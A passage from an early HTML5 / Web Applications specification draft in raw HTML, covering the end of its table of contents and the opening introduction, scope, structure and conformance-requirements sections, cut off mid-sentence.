   <ul class=toc>         <li><a href="#script0"><span class=secno>3.17.1.1. </span>Script          languages</a>        </ul>       <li><a href="#the-noscript"><span class=secno>3.17.2. </span>The <dfn        id=noscript><code>noscript</code></dfn> element</a>      </ul>     <li><a href="#interactive1"><span class=secno>3.18. </span>Interactive      elements</a>      <ul class=toc>       <li><a href="#the-details"><span class=secno>3.18.1. </span>The <dfn        id=details><code>details</code></dfn> element</a>       <li><a href="#datagrid"><span class=secno>3.18.2. </span>The <dfn        id=datagrid0><code>datagrid</code></dfn> element</a>        <ul class=toc>         <li><a href="#the-datagrid"><span class=secno>3.18.2.1. </span>The          <code>datagrid</code> data model</a>         <li><a href="#how-rows"><span class=secno>3.18.2.2. </span>How rows          are identified</a>         <li><a href="#the-data"><span class=secno>3.18.2.3. </span>The data          provider interface</a>         <li><a href="#the-default"><span class=secno>3.18.2.4. </span>The          default data provider</a>          <ul class=toc>           <li><a href="#commonDefaultDataGridMethodDefinitions"><span            class=secno>3.18.2.4.1. </span>Common default data provider            method definitions for cells</a>          </ul>         <li><a href="#populating"><span class=secno>3.18.2.5.          </span>Populating the <code>datagrid</code> element</a>         <li><a href="#updating"><span class=secno>3.18.2.6. </span>Updating          the <code>datagrid</code></a>         <li><a href="#requirements"><span class=secno>3.18.2.7.          </span>Requirements for interactive user agents</a>         <li><a href="#the-selection"><span class=secno>3.18.2.8. </span>The          selection</a>         <li><a href="#columns"><span class=secno>3.18.2.9. </span>Columns          and captions</a>        </ul>       <li><a href="#the-command"><span class=secno>3.18.3. </span>The <dfn        id=command><code>command</code></dfn> element</a>       <li><a href="#the-menu"><span class=secno>3.18.4. </span>The <dfn        id=menu><code>menu</code></dfn> element</a>      </ul>     <li><a href="#miscellaneous"><span class=secno>3.19.      </span>Miscellaneous elements</a>      <ul class=toc>       <li><a href="#the-legend"><span class=secno>3.19.1. </span>The <dfn        id=legend><code>legend</code></dfn> element</a>       <li><a href="#the-div"><span class=secno>3.19.2. </span>The <dfn        id=div><code>div</code></dfn> element</a>      </ul>    </ul>   <li><a href="#processing-models"><span class=secno>4. </span>Processing    models</a>    <ul class=toc>     <li><a href="#navigating"><span class=secno>4.1. </span>Navigating      across documents</a>      <ul class=toc>       <li><a href="#determining0"><span class=secno>4.1.1.        </span>Determining the type of a new resource in a browsing        context</a>       <li><a href="#read-html"><span class=secno>4.1.2. </span>Page load        processing model for HTML files</a>       <li><a href="#read-xml"><span class=secno>4.1.3. </span>Page load        processing model for XML files</a>       <li><a href="#read-text"><span class=secno>4.1.4. </span>Page load        processing model for text files</a>       <li><a href="#read-feed"><span class=secno>4.1.5. </span>Page load        processing model for syndication feeds</a>       <li><a href="#content-type"><span class=secno>4.1.6. </span><dfn        id=content-type0>Content-Type</dfn></a>      </ul>     <li><a href="#scripting"><span class=secno>4.2. </span>Scripting</a>      <ul class=toc>       <li><a href="#running"><span class=secno>4.2.1. </span>Running        executable code</a>       <li><a href="#scripting0"><span class=secno>4.2.2. </span>Scripting        contexts</a>       <li><a href="#threads"><span class=secno>4.2.3. </span>Threads</a>       <li><a href="#scripting-security"><span class=secno>4.2.4. </span>The        security model</a>       <li><a href="#javascript"><span class=secno>4.2.5.        </span><code>javascript:</code> URIs</a>       <li><a href="#runtime-script-errors"><span class=secno>4.2.6.        </span>Runtime script errors</a>       <li><a href="#events"><span class=secno>4.2.7. </span>Events</a>        <ul class=toc>         <li><a href="#event-handler-attributes"><span class=secno>4.2.7.1.          </span>Event handler attributes</a>         <li><a href="#event"><span class=secno>4.2.7.2. </span>Event          firing</a>         <li><a href="#event-handling"><span class=secno>4.2.7.3.          </span>Event handling</a>        </ul>      </ul>     <li><a href="#links"><span class=secno>4.3. </span>Links</a>      <ul class=toc>       <li><a href="#hyperlink"><span class=secno>4.3.1. </span>Hyperlink        elements</a>       <li><a href="#following"><span class=secno>4.3.2. </span><dfn        id=following0>Following hyperlinks</dfn></a>       <li><a href="#linkTypes"><span class=secno>4.3.3. </span>Link        types</a>        <ul class=toc>         <li><a href="#link-type"><span class=secno>4.3.3.1. </span>Link type          "<dfn id=alternate          title=rel-alternate><code>alternate</code></dfn>"</a>         <li><a href="#link-type0"><span class=secno>4.3.3.2. </span>Link          type "<dfn id=archives          title=rel-archives><code>archives</code></dfn>"</a>         <li><a href="#link-type1"><span class=secno>4.3.3.3. </span>Link          type "<dfn id=author          title=rel-author><code>author</code></dfn>"</a>         <li><a href="#link-type2"><span class=secno>4.3.3.4. </span>Link          type "<dfn id=bookmark          title=rel-bookmark><code>bookmark</code></dfn>"</a>         <li><a href="#link-type3"><span class=secno>4.3.3.5. </span>Link          type "<dfn id=contact          title=rel-contact><code>contact</code></dfn>"</a>         <li><a href="#link-type4"><span class=secno>4.3.3.6. </span>Link          type "<dfn id=external          title=rel-external><code>external</code></dfn>"</a>         <li><a href="#link-type5"><span class=secno>4.3.3.7. </span>Link          type "<dfn id=feed title=rel-feed><code>feed</code></dfn>"</a>         <li><a href="#link-type6"><span class=secno>4.3.3.8. </span>Link          type "<dfn id=help title=rel-help><code>help</code></dfn>"</a>         <li><a href="#link-type7"><span class=secno>4.3.3.9. </span>Link          type "<dfn id=icon title=rel-icon><code>icon</code></dfn>"</a>         <li><a href="#link-type8"><span class=secno>4.3.3.10. </span>Link          type "<dfn id=license          title=rel-license><code>license</code></dfn>"</a>         <li><a href="#link-type9"><span class=secno>4.3.3.11. </span>Link          type "<dfn id=nofollow          title=rel-nofollow><code>nofollow</code></dfn>"</a>         <li><a href="#link-type10"><span class=secno>4.3.3.12. </span>Link          type "<dfn id=pingback          title=rel-pingback><code>pingback</code></dfn>"</a>         <li><a href="#link-type11"><span class=secno>4.3.3.13. </span>Link          type "<dfn id=prefetch          title=rel-prefetch><code>prefetch</code></dfn>"</a>         <li><a href="#link-type12"><span class=secno>4.3.3.14. </span>Link          type "<dfn id=search0          title=rel-search><code>search</code></dfn>"</a>         <li><a href="#link-type13"><span class=secno>4.3.3.15. </span>Link          type "<dfn id=stylesheet          title=rel-stylesheet><code>stylesheet</code></dfn>"</a>         <li><a href="#link-type14"><span class=secno>4.3.3.16. </span>Link          type "<dfn id=sidebar          title=rel-sidebar><code>sidebar</code></dfn>"</a>         <li><a href="#link-type15"><span class=secno>4.3.3.17. </span>Link          type "<dfn id=tag title=rel-tag><code>tag</code></dfn>"</a>         <li><a href="#hierarchical"><span class=secno>4.3.3.18.          </span>Hierarchical link types</a>          <ul class=toc>           <li><a href="#link-type16"><span class=secno>4.3.3.18.1.            </span>Link type "<dfn id=first            title=rel-first><code>first</code></dfn>"</a>           <li><a href="#link-type17"><span class=secno>4.3.3.18.2.            </span>Link type "<dfn id=index            title=rel-index><code>index</code></dfn>"</a>           <li><a href="#link-type18"><span class=secno>4.3.3.18.3.            </span>Link type "<dfn id=last            title=rel-last><code>last</code></dfn>"</a>           <li><a href="#link-type19"><span class=secno>4.3.3.18.4.            </span>Link type "<dfn id=next            title=rel-next><code>next</code></dfn>"</a>           <li><a href="#link-type20"><span class=secno>4.3.3.18.5.            </span>Link type "<dfn id=prev            title=rel-prev><code>prev</code></dfn>"</a>           <li><a href="#link-type21"><span class=secno>4.3.3.18.6.            </span>Link type "<dfn id=up            title=rel-up><code>up</code></dfn>"</a>          </ul>         <li><a href="#other1"><span class=secno>4.3.3.19. </span>Other link          types</a>        </ul>       <li><a href="#image-maps"><span class=secno>4.3.4. </span>Image        maps</a>      </ul>     <li><a href="#commands"><span class=secno>4.4. </span>Commands</a>      <ul class=toc>       <li><a href="#using"><span class=secno>4.4.1. </span><dfn id=using4        title=a-command>Using the <code>a</code> element to define a        command</dfn></a>       <li><a href="#using0"><span class=secno>4.4.2. </span><dfn id=using5        title=button-command>Using the <code>button</code> element to define        a command</dfn></a>       <li><a href="#using1"><span class=secno>4.4.3. </span><dfn id=using6        title=input-command>Using the <code>input</code> element to define a        command</dfn></a>       <li><a href="#using2"><span class=secno>4.4.4. </span><dfn id=using7        title=option-command>Using the <code>option</code> element to define        a command</dfn></a>       <li><a href="#using3"><span class=secno>4.4.5. </span>Using the <dfn        id=command0 title=command-element><code>command</code></dfn> element        to define a command</a>      </ul>     <li><a href="#menus"><span class=secno>4.5. </span>Menus</a>      <ul class=toc>       <li><a href="#menus-intro"><span class=secno>4.5.1.        </span>Introduction</a>       <li><a href="#building"><span class=secno>4.5.2. </span><dfn        id=building0>Building menus</dfn></a>       <li><a href="#context"><span class=secno>4.5.3. </span><dfn        id=context0>Context menus</dfn></a>       <li><a href="#toolbars"><span class=secno>4.5.4. </span><dfn        id=toolbars0>Toolbars</dfn></a>      </ul>     <li><a href="#repetition-templates"><span class=secno>4.6.      </span>Repetition templates</a>    </ul>   <li><a href="#apis"><span class=secno>5. </span>The browser    environment</a>    <ul class=toc>     <li><a href="#the-global"><span class=secno>5.1. </span>The global      scope</a>     <li><a href="#history"><span class=secno>5.2. </span>Session history and      navigation</a>      <ul class=toc>       <li><a href="#the-session"><span class=secno>5.2.1. </span>The <dfn        id=session>session history</dfn> of browsing contexts</a>       <li><a href="#the-history"><span class=secno>5.2.2. </span>The        <code>History</code> interface</a>       <li><a href="#activating"><span class=secno>5.2.3. </span><dfn        id=activating0 title="activate the state object">Activating state        objects</dfn></a>       <li><a href="#the-location"><span class=secno>5.2.4. </span>The        <code>Location</code> interface</a>       <li><a href="#history-notes"><span class=secno>5.2.5.        </span>Implementation notes for session history</a>      </ul>     <li><a href="#browser"><span class=secno>5.3. </span>Browser state</a>      <ul class=toc>       <li><a href="#offline"><span class=secno>5.3.1. </span>Offline Web        applications</a>       <li><a href="#custom-handlers"><span class=secno>5.3.2. </span>Custom        protocol and content handlers</a>        <ul class=toc>         <li><a href="#security"><span class=secno>5.3.2.1. </span>Security          and privacy</a>         <li><a href="#sample-handler-impl"><span class=secno>5.3.2.2.          </span>Sample user interface</a>        </ul>      </ul>     <li><a href="#storage"><span class=secno>5.4. </span>Client-side session      and persistent storage</a>      <ul class=toc>       <li><a href="#introduction0"><span class=secno>5.4.1.        </span>Introduction</a>       <li><a href="#the-storage"><span class=secno>5.4.2. </span>The        <code>Storage</code> interface</a>       <li><a href="#the-storageitem"><span class=secno>5.4.3. </span>The        <code>StorageItem</code> interface</a>       <li><a href="#the-sessionstorage"><span class=secno>5.4.4. </span>The        <code title=dom-sessionStorage>sessionStorage</code> attribute</a>       <li><a href="#the-globalstorage"><span class=secno>5.4.5. </span>The        <code title=dom-globalStorage>globalStorage</code> attribute</a>       <li><a href="#the-storage0"><span class=secno>5.4.6. </span>The <code        title=event-storage>storage</code> event</a>       <li><a href="#miscellaneous0"><span class=secno>5.4.7.        </span>Miscellaneous implementation requirements for storage        areas</a>        <ul class=toc>         <li><a href="#disk-space"><span class=secno>5.4.7.1. </span>Disk          space</a>         <li><a href="#threads0"><span class=secno>5.4.7.2.          </span>Threads</a>        </ul>       <li><a href="#security0"><span class=secno>5.4.8. </span>Security and        privacy</a>        <ul class=toc>         <li><a href="#user-tracking"><span class=secno>5.4.8.1. </span>User          tracking</a>         <li><a href="#cookie"><span class=secno>5.4.8.2. </span>Cookie          resurrection</a>         <li><a href="#integrity"><span class=secno>5.4.8.3. </span>Integrity          of "public" storage areas</a>         <li><a href="#cross-protocol"><span class=secno>5.4.8.4.          </span>Cross-protocol and cross-port attacks</a>         <li><a href="#dns-spoofing"><span class=secno>5.4.8.5. </span>DNS          spoofing attacks</a>         <li><a href="#cross-directory"><span class=secno>5.4.8.6.          </span>Cross-directory attacks</a>         <li><a href="#public"><span class=secno>5.4.8.7. </span>Public          storage areas corresponding to hosts</a>         <li><a href="#storage0"><span class=secno>5.4.8.8. </span>Storage          areas in the face of untrusted higher-level domains that do not          correspond to public storage areas</a>         <li><a href="#storage1"><span class=secno>5.4.8.9. </span>Storage          areas in the face of untrusted subdomains</a>         <li><a href="#implementation"><span class=secno>5.4.8.10.          </span>Implementation risks</a>        </ul>      </ul>     <li><a href="#sound"><span class=secno>5.5. </span>Sound</a>    </ul>   <li><a href="#editing"><span class=secno>6. </span><dfn    id=editing0>Editing</dfn></a>    <ul class=toc>     <li><a href="#editing-intro"><span class=secno>6.1.      </span>Introduction</a>     <li><a href="#contenteditable"><span class=secno>6.2. </span>The <code      title=attr-contenteditable>contenteditable</code> attribute</a>      <ul class=toc>       <li><a href="#user-editing"><span class=secno>6.2.1. </span>User        editing actions</a>       <li><a href="#designMode"><span class=secno>6.2.2. </span>Making        entire documents editable</a>      </ul>     <li><a href="#dnd"><span class=secno>6.3. </span><dfn id=drag-and>Drag      and drop</dfn></a>      <ul class=toc>       <li><a href="#the-dragevent"><span class=secno>6.3.1. </span>The        <code>DragEvent</code> and <code>DataTransfer</code> interfaces</a>       <li><a href="#events0"><span class=secno>6.3.2. </span>Events fired        during a drag-and-drop action</a>       <li><a href="#drag-and-drop"><span class=secno>6.3.3.        </span>Drag-and-drop processing model</a>        <ul class=toc>         <li><a href="#when-the"><span class=secno>6.3.3.1. </span>When the          drag-and-drop operation starts or ends in another document</a>         <li><a href="#when-the0"><span class=secno>6.3.3.2. </span>When the          drag-and-drop operation starts or ends in another application</a>        </ul>       <li><a href="#the-draggable"><span class=secno>6.3.4. </span>The <dfn        id=draggable title=attr-draggable><code>draggable</code></dfn>        attribute</a>       <li><a href="#security1"><span class=secno>6.3.5. </span>Security        risks in the drag-and-drop model</a>      </ul>     <li><a href="#undo"><span class=secno>6.4. </span><dfn      id=undo-history>Undo history</dfn></a>      <ul class=toc>       <li><a href="#the-undomanager"><span class=secno>6.4.1. </span>The        <code>UndoManager</code> interface</a>       <li><a href="#undo-moving"><span class=secno>6.4.2. </span><dfn        id=undo-moving0 title=do-undo>Undo: moving back in the undo        transaction history</dfn></a>       <li><a href="#redo-moving"><span class=secno>6.4.3. </span><dfn        id=redo-moving0 title=do-redo>Redo: moving forward in the undo        transaction history</dfn></a>       <li><a href="#the-undomanagerevent"><span class=secno>6.4.4.        </span>The <code>UndoManagerEvent</code> interface and the <code        title=event-undo>undo</code> and <code title=event-redo>redo</code>        events</a>       <li><a href="#implementation0"><span class=secno>6.4.5.        </span>Implementation notes</a>      </ul>     <li><a href="#execCommand"><span class=secno>6.5. </span>Command      APIs</a>     <li><a href="#selection"><span class=secno>6.6. </span>The text      selection APIs</a>      <ul class=toc>       <li><a href="#documentSelection"><span class=secno>6.6.1. </span>APIs        for the browsing context selection</a>       <li><a href="#textFieldSelection"><span class=secno>6.6.2. </span>APIs        for the text field selections</a>      </ul>    </ul>   <li><a href="#comms"><span class=secno>7. </span>Communication</a>    <ul class=toc>     <li><a href="#server-sent-events"><span class=secno>7.1.      </span>Server-sent DOM events</a>      <ul class=toc>       <li><a href="#the-event-source"><span class=secno>7.1.1. </span>The        <dfn id=event-source><code>event-source</code></dfn> element</a>       <li><a href="#the-remoteeventtarget"><span class=secno>7.1.2.        </span>The <dfn        id=remoteeventtarget><code>RemoteEventTarget</code></dfn>        interface</a>       <li><a href="#processing1"><span class=secno>7.1.3. </span>Processing        model</a>       <li><a href="#the-event"><span class=secno>7.1.4. </span>The event        stream format</a>       <li><a href="#event-stream-interpretation"><span class=secno>7.1.5.        </span>Event stream interpretation</a>       <li><a href="#the-remoteevent"><span class=secno>7.1.6. </span>The        <code>RemoteEvent</code> interface</a>       <li><a href="#example"><span class=secno>7.1.7. </span>Example</a>      </ul>     <li><a href="#network"><span class=secno>7.2. </span>Network      connections</a>      <ul class=toc>       <li><a href="#network-intro"><span class=secno>7.2.1.        </span>Introduction</a>       <li><a href="#the-connection"><span class=secno>7.2.2. </span>The        <code>Connection</code> interface</a>       <li><a href="#connection"><span class=secno>7.2.3. </span>Connection        Events</a>       <li><a href="#tcp-connections"><span class=secno>7.2.4. </span>TCP        connections</a>       <li><a href="#broadcast"><span class=secno>7.2.5. </span>Broadcast        connections</a>        <ul class=toc>         <li><a href="#broadcasting"><span class=secno>7.2.5.1.          </span>Broadcasting over TCP/IP</a>         <li><a href="#bluetooth-broadcast"><span class=secno>7.2.5.2.          </span>Broadcasting over Bluetooth</a>         <li><a href="#irda-broadcast"><span class=secno>7.2.5.3.          </span>Broadcasting over IrDA</a>        </ul>       <li><a href="#peer-to-peer"><span class=secno>7.2.6.        </span>Peer-to-peer connections</a>        <ul class=toc>         <li><a href="#peer-to-peer0"><span class=secno>7.2.6.1.          </span>Peer-to-peer connections over TCP/IP</a>         <li><a href="#bluetooth-peer"><span class=secno>7.2.6.2.          </span>Peer-to-peer connections over Bluetooth</a>         <li><a href="#irda-peer"><span class=secno>7.2.6.3.          </span>Peer-to-peer connections over IrDA</a>        </ul>       <li><a href="#the-common"><span class=secno>7.2.7. </span>The common        protocol for TCP-based connections</a>        <ul class=toc>         <li><a href="#clients"><span class=secno>7.2.7.1. </span><dfn          id=clients0>Clients connecting over TCP</dfn></a>         <li><a href="#servers"><span class=secno>7.2.7.2. </span><dfn          id=servers0>Servers accepting connections over TCP</dfn></a>         <li><a href="#sending"><span class=secno>7.2.7.3. </span><dfn          id=sending0>Sending and receiving data over TCP</dfn></a>        </ul>       <li><a href="#network-security"><span class=secno>7.2.8.        </span>Security</a>       <li><a href="#network-other-specs"><span class=secno>7.2.9.        </span>Relationship to other standards</a>      </ul>     <li><a href="#crossDocumentMessages"><span class=secno>7.3. </span><dfn      id=cross-document>Cross-document messaging</dfn></a>      <ul class=toc>       <li><a href="#processing2"><span class=secno>7.3.1. </span>Processing        model</a>       <li><a href="#event0"><span class=secno>7.3.2. </span>Event        definitions</a>      </ul>    </ul>   <li><a href="#syntax"><span class=secno>8. </span>The HTML syntax</a>    <ul class=toc>     <li><a href="#writing"><span class=secno>8.1. </span>Writing HTML      documents</a>      <ul class=toc>       <li><a href="#the-doctype"><span class=secno>8.1.1. </span>The        DOCTYPE</a>       <li><a href="#elements0"><span class=secno>8.1.2. </span>Elements</a>        <ul class=toc>         <li><a href="#start"><span class=secno>8.1.2.1. </span>Start          tags</a>         <li><a href="#end-tags"><span class=secno>8.1.2.2. </span>End          tags</a>         <li><a href="#attributes0"><span class=secno>8.1.2.3.          </span>Attributes</a>         <li><a href="#optional"><span class=secno>8.1.2.4. </span>Optional          tags</a>         <li><a href="#restrictions"><span class=secno>8.1.2.5.          </span>Restrictions on content models</a>        </ul>       <li><a href="#text"><span class=secno>8.1.3. </span>Text</a>        <ul class=toc>         <li><a href="#newlines"><span class=secno>8.1.3.1.          </span>Newlines</a>        </ul>       <li><a href="#character"><span class=secno>8.1.4. </span>Character        entity references</a>       <li><a href="#comments"><span class=secno>8.1.5. </span>Comments</a>      </ul>     <li><a href="#parsing"><span class=secno>8.2. </span>Parsing HTML      documents</a>      <ul class=toc>       <li><a href="#overview"><span class=secno>8.2.1. </span>Overview of        the parsing model</a>       <li><a href="#the-input0"><span class=secno>8.2.2. </span>The <dfn        id=input>input stream</dfn></a>       <li><a href="#tokenisation"><span class=secno>8.2.3. </span><dfn        id=tokenisation0>Tokenisation</dfn></a>        <ul class=toc>         <li><a href="#tokenising"><span class=secno>8.2.3.1.          </span>Tokenising entities</a>        </ul>       <li><a href="#tree-construction"><span class=secno>8.2.4. </span><dfn        id=tree-construction0>Tree construction</dfn></a>        <ul class=toc>         <li><a href="#the-initial"><span class=secno>8.2.4.1. </span><dfn          id=the-initial0>The initial phase</dfn></a>         <li><a href="#the-root0"><span class=secno>8.2.4.2. </span><dfn          id=the-root1>The root element phase</dfn></a>         <li><a href="#the-main"><span class=secno>8.2.4.3. </span><dfn          id=the-main0>The main phase</dfn></a>          <ul class=toc>           <li><a href="#the-stack"><span class=secno>8.2.4.3.1. </span>The            stack of open elements</a>           <li><a href="#the-list"><span class=secno>8.2.4.3.2. </span>The            list of active formatting elements</a>           <li><a href="#creating"><span class=secno>8.2.4.3.3.            </span>Creating and inserting HTML elements</a>           <li><a href="#closing"><span class=secno>8.2.4.3.4. </span>Closing            elements that have implied end tags</a>           <li><a href="#the-element"><span class=secno>8.2.4.3.5. </span>The            element pointers</a>           <li><a href="#the-insertion"><span class=secno>8.2.4.3.6.            </span>The insertion mode</a>           <li><a href="#how-to0"><span class=secno>8.2.4.3.7. </span>How to            handle tokens in the main phase</a>          </ul>         <li><a href="#the-trailing"><span class=secno>8.2.4.4. </span><dfn          id=the-trailing0>The trailing end phase</dfn></a>        </ul>      </ul>     <li><a href="#namespaces"><span class=secno>8.3. </span>Namespaces</a>     <li><a href="#entities"><span class=secno>8.4. </span><dfn      id=entities0>Entities</dfn></a>    </ul>   <li><a href="#rendering"><span class=secno>9. </span>Rendering</a>    <ul class=toc>     <li><a href="#rendering0"><span class=secno>9.1. </span>Rendering and      the DOM</a>    </ul>   <li><a href="#no"><span class=secno>10. </span>Things that you can't do    with this specification because they are better handled using other    technologies that are further described herein</a>    <ul class=toc>     <li><a href="#localisation"><span class=secno>10.1.      </span>Localisation</a>     <li><a href="#declarative"><span class=secno>10.2. </span>Declarative 2D      vector graphics and animation</a>     <li><a href="#declarative0"><span class=secno>10.3. </span>Declarative      3D scenes</a>     <li><a href="#alternate-style-sheets"><span class=secno>10.4.      </span>Alternate style sheets: the <code>DocumentStyle</code>      interface</a>      <ul class=toc>       <li><a href="#dynamically"><span class=secno>10.4.1.        </span>Dynamically adding new style sheets</a>        <ul class=toc>         <li><a href="#adding"><span class=secno>10.4.1.1. </span>Adding          style sheets</a>         <li><a href="#changing"><span class=secno>10.4.1.2. </span>Changing          the preferred style sheet set</a>         <li><a href="#examples"><span class=secno>10.4.1.3. </span>          Examples</a>        </ul>       <li><a href="#interaction0"><span class=secno>10.4.2.        </span>Interaction with the User Interface</a>        <ul class=toc>         <li><a href="#persisting"><span class=secno>10.4.2.1.          </span>Persisting the selected style sheet set</a>        </ul>       <li><a href="#future"><span class=secno>10.4.3. </span>Future        compatibility</a>      </ul>     <li><a href="#timers"><span class=secno>10.5. </span>Timers</a>    </ul>   <li class=no-num><a href="#references">References</a>   <li class=no-num><a href="#acknowledgements">Acknowledgements</a>  </ul>  <!--end-toc-->  <hr>  <h2 id=introduction><span class=secno>1. </span>Introduction</h2>  <p><em>This section is non-normative.</em>  <p>The World Wide Web's markup language has always been HTML. HTML was   primarily designed as a language for semantically describing scientific   documents, although its general design and adaptations over the years has   enabled it to be used to describe a number of other types of documents.  <p>The main area that has not been adequately addressed by HTML is a vague   subject referred to as Web Applications. This specification attempts to   rectify this, while at the same time updating the HTML specifications to   address issues raised in the past few years.  <h3 id=scope><span class=secno>1.1. </span>Scope</h3>  <p><em>This section is non-normative.</em>  <p>This specification is limited to providing a semantic-level markup   language and associated semantic-level scripting APIs for authoring   accessible pages on the Web ranging from static documents to dynamic   applications.  <p>The scope of this specification does not include addressing presentation   concerns (although default rendering rules for Web browsers are included   at the end of this specification).  <p>The scope of this specification does not include documenting every HTML   or DOM feature supported by Web browsers. Browsers support many features   that are considered to be very bad for accessibility or that are otherwise   inappropriate. For example, the <code>blink</code> element is clearly   presentational and authors wishing to cause text to blink should instead   use CSS.  <p>The scope of this specification is not to describe an entire operating   system. In particular, hardware configuration software, image manipulation   tools, and applications that users would be expected to use with high-end   workstations on a daily basis are out of scope. In terms of applications,   this specification is targetted specifically at applications that would be   expected to be used by users on an occasional basis, or regularly but from   disparate locations, with low CPU requirements. For instance online   purchasing systems, searching systems, games (especially multiplayer   online games), public telephone books or address books, communications   software (e-mail clients, instant messaging clients, discussion software),   document editing software, etc.  <p>For sophisticated cross-platform applications, there already exist   several proprietary solutions (such as Mozilla's XUL and Macromedia's   Flash). These solutions are evolving faster than any standards process   could follow, and the requirements are evolving even faster. These systems   are also significantly more complicated to specify, and are orders of   magnitude more difficult to achieve interoperability with, than the   solutions described in this document. Platform-specific solutions for such   sophisticated applications (for example the MacOS X Core APIs) are even   further ahead.  <h3 id=structure><span class=secno>1.2. </span>Structure of this   specification</h3>  <p><em>This section is non-normative.</em>  <p>This specification is divided into five key parts:  <dl>   <dt><a href="#dom">The DOM</a>   <dd>The DOM, or Document Object Model, provides a base for the rest of the    specification.   <dt><a href="#semantics">The Semantics</a>   <dd>Documents are built from elements. These elements form a tree using    the DOM. Each element also has a predefined meaning, which is explained    in this section. User agent requirements for how to handle each element    are also given, along with rules for authors on how to use the element.   <dt><a href="#processing-models">The Processing Models</a>   <dd>In addition to the rules for each element, there are rules for    handling features that cover multiple elements. These are defined in the    processing models section, so that the whole feature can be defined in    one place instead of being split across the definitions for multiple    elements.   <dt><a href="#apis">The High-Level APIs</a>   <dd>Certain extensions to the DOM provide APIs for interacting with the    user. Three sections, covering <a href="#apis">the browser    enviroment</a>, <a href="#editing">editing</a>, and <a    href="#comms">communication</a>, define these high-level APIs.   <dt><a href="#syntax">The Language Syntax</a>   <dd>All of these features would be for naught if they couldn't be    represented in a serialised form and sent to other people, and so this    section defines the syntax of HTML, along with rules for how to parse    HTML.  </dl>  <p>There are also a couple of appendices, defining <a   href="#rendering">rendering rules</a> for Web browsers, and listing <a   href="#no">areas that are out of scope</a> for this specification.  <h4 id=how-to><span class=secno>1.2.1. </span>How to read this   specification</h4>  <p>This specification should be read like all other specifications. First,   it should be read cover-to-cover, multiple times. Then, it should be read   backwards at least once. Then it should be read by picking random sections   from the contents list and following all the cross-references.  <h3 id=conformance><span class=secno>1.3. </span>Conformance requirements</h3>  <p>All diagrams, examples, and notes in this specification are   non-normative, as are all sections explicitly marked non-normative.   Everything else in this specification is normative.  <p>The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT",   "SHOULD", "SHOULD NOT", "RECOMMENDED", "MAY", and "OPTIONAL" in the   normative parts of this document are to be interpreted as described in   RFC2119. For readability, these words do not appear in all uppercase   letters in this specification. <a href="#refsRFC2119">[RFC2119]</a></p>  <!-- XXX but they should be marked up -->  <p>This specification describes the conformance criteria for user agents   (relevant to implementors) and documents (relevant to authors and   authoring tool implementors).  <p class=note>There is no implied relationship between document conformance   requirements and implementation conformance requirements. User agents are   not free to handle non-conformant documents as they please; the processing   model described in this specification applies to implementations   regardless of the conformity of the input documents.</p>  <!--XXX quite possible that  this is stated twice. check for whether this is a dupe. -->  <p>User agents fall into several (overlapping) categories with different   conformance requirements.  <dl>   <dt id=interactive>Web browsers and other interactive user agents   <dd>    <p>Web browsers that support <a href="#xhtml5">XHTML</a> must process     elements and attributes from the <a href="#html-namespace0">HTML     namespace</a> found in <a href="#xml-documents">XML documents</a> as     described in this specification, so that users can interact with them,     unless the semantics of those elements have been overridden by other     specifications.</p>    <p class=example>A conforming XHTML processor would, upon finding an     XHTML <code><a href="#script2">script</a></code> element in an XML     document, execute the script contained in that element. However, if the     element is found within an XSLT transformation sheet (assuming the UA     also supports XSLT), then the processor would instead treat the <code><a     href="#script2">script</a></code> element as an opaque element that     forms part of the transform.</p>    <p>Web browsers that support <a href="#html5" title=HTML5>HTML</a> must     process documents labelled as <code>text/html</code> as described in     this specification, so that users can interact with them.</p>   <dt id=non-interactive>Non-interactive presentation user agents   <dd>    <p>User agents that process HTML and XHTML documents purely to render     non-interactive versions of them must comply to the same conformance     criteria as Web browsers, except that they are exempt from requirements     regarding user interaction.</p>    <p class=note>Typical examples of non-interactive presentation user     agents are printers (static UAs) and overhead displays (dynamic UAs). It     is expected that most static non-interactive presentation user agents     will also opt to <a href="#non-scripted">lack scripting support</a>.</p>    <p class=example>A non-interactive but dynamic presentation UA would     still execute scripts, allowing forms to be dynamically submitted, and     so forth. However, since the concept of "focus" is irrelevant when the     user cannot interact with the document, the UA would not need to support     any of the focus-related DOM APIs.</p>   <dt><dfn id=non-scripted>User agents with no scripting support</dfn>   <dd>    <p>Implementations that do not support scripting (or which have their     scripting features <a href="#scripting1" title="scripting is     disabled">disabled</a>) are exempt from supporting the events and DOM     interfaces mentioned in this specification. For the parts of this     specification that are defined in terms of an events model or in terms     of the DOM, such user agents must still act as if events and the DOM     were supported.</p>    <p class=note>Scripting can form an integral part of an application. Web     browsers that do not support scripting, or that have scripting disabled,     might be unable to fully convey the author's intent.</p>   <dt>Conformance checkers   <dd id=conformance-checkers>    <p>Conformance checkers must verify that a document conforms to the     applicable conformance criteria described in this specification.     Conformance checkers are exempt from detecting errors that require     interpretation of the author's intent (for example, while a document is     non-conforming if the content of a <code><a     href="#blockquote0">blockquote</a></code> element is not a quote,     conformance checkers do not have to check that <code><a     href="#blockquote0">blockquote</a></code> elements only contain quoted     material).</p>    <p>Conformance checkers must check that the input document conforms when     <a href="#scripting1">scripting is disabled</a>, and should also check     that the input document conforms when <a href="#scripting2">scripting is     enabled</a>. (This is only a "SHOULD" and not a "MUST" requirement     because it has been proven to be impossible. <a     href="#refsHALTINGPROBLEM">[HALTINGPROBLEM]</a>)</p>    <!-- XXX    http://en.wikipedia.org/wiki/Halting_problem but I'd rather    reference Godel's original paper if someone can find the    ref... -->        <div class=note>     <p>The term "validation" specifically refers to a subset of conformance      checking that only verifies that a document complies with the      requirements given by an SGML or XML DTD. Conformance checkers that      only perform validation are non-conforming, as there are many      conformance requirements described in this specification that cannot be      checked by SGML or XML DTDs.</p>     <p>To put it another way, there are three types of conformance criteria:</p>     <ol>      <li>Criteria that can be expressed in a DTD.      <li>Criteria that cannot be expressed by a DTD, but can still be       checked by a machine.      <li>Criteria that can only be checked by a human.     </ol>     <p>A conformance checker must check for the first two. A simple      DTD-based validator only checks for the first class of errors and is      therefore not a conforming conformance checker according to this      specification.</p>    </div>   <dt>Data mining tools   <dd id=data-mining>    <p>Applications and tools that process HTML and XHTML documents for     reasons other than to either render the documents or check them for     conformance should act in accordance to the semantics of the documents     that they process.</p>    <p class=example>A tool that generates <span title="sections and     headings">document outlines</span> but increases the nesting level for     each paragraph and does not increase the nesting level for each section     would not be conforming.</p>   <dt id=editors>Authoring tools and markup generators   <dd>    <p>Authoring tools and markup generators must generate conforming     documents. Conformance criteria that apply to authors 